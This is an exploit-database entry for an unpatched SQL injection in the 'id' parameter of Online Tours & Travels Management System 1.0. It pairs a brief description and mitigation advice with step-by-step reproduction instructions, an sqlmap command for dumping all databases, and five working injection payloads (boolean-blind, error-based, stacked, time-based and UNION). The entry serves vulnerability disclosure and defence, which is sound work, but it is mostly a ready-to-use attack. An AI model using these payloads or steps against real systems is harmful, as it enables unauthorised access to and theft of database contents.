header-logo
Suggest Exploit
vendor:
Online Tours & Travels Management System
by:
Saeed Bala Ahmed (r0b0tG4nG)
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Tours & Travels Management System
Affected Version From: Version 1
Affected Version To: Version 1
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:online_tours_&_travels_management_system_project_using_php_and_mysql
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Parrot OS
2020

Online Tours & Travels Management System 1.0 – “id” SQL Injection

An attacker can exploit this vulnerability by sending a maliciously crafted request to the application. This can be done by appending a malicious SQL query to the 'id' parameter in the request. This can be done by using various payloads like boolean-based blind, error-based, stacked queries, and time-based blind.

Mitigation:

Input validation should be done on the server-side to ensure that the user input is valid and does not contain any malicious code. Parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Online Tours & Travels Management System 1.0 - "id" SQL Injection
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-11
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14510&title=Online+Tours+%26+Travels+management+system+project+using+PHP+and+MySQL
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1. Login to the application with admin credentials

Step 2. Click on "Bookings" in header and select "Add Bookings".

Step 3. Complete the required details and click on "Save" to save the new Bookings.

Step 4. On the "Bookings" page, find your new booking/existing booking and click on the edit icon.

Step 5. You will be redirected to a page like "http://localhost/admin/update_booking.php?id=1". Or visit any page that has the "id" parameter. Capture the current page request in burpsuite.

Step 6. Save request and run sqlmap on request file using command " sqlmap -r request -p id --time-sec=5 --dbs ".

Step 7. This will inject successfully and you will have an information disclosure of all databases contents.

---

Parameter: id (GET)

    Type: boolean-based blind

    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

    Payload: id=2' RLIKE (SELECT (CASE WHEN (4085=4085) THEN 2 ELSE 0x28 END))-- rKrg



    Type: error-based

    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

   
 Payload: id=2' AND (SELECT 7113 FROM(SELECT 
COUNT(*),CONCAT(0x716a626a71,(SELECT 
(ELT(7113=7113,1))),0x71766b6a71,FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tGzP



    Type: stacked queries

    Title: MySQL >= 5.0.12 stacked queries (comment)

    Payload: id=2';SELECT SLEEP(5)#



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=2' AND (SELECT 8504 FROM (SELECT(SLEEP(5)))sMoK)-- IXQq



    Type: UNION query

    Title: MySQL UNION query (NULL) - 4 columns

   
 Payload: id=-1072' UNION ALL SELECT 
NULL,CONCAT(0x716a626a71,0x664b4d6f72794f69657a6c5a4e415a434b70547951435077694b66505a7572574d73704b54524b72,0x71766b6a71),NULL,NULL#

---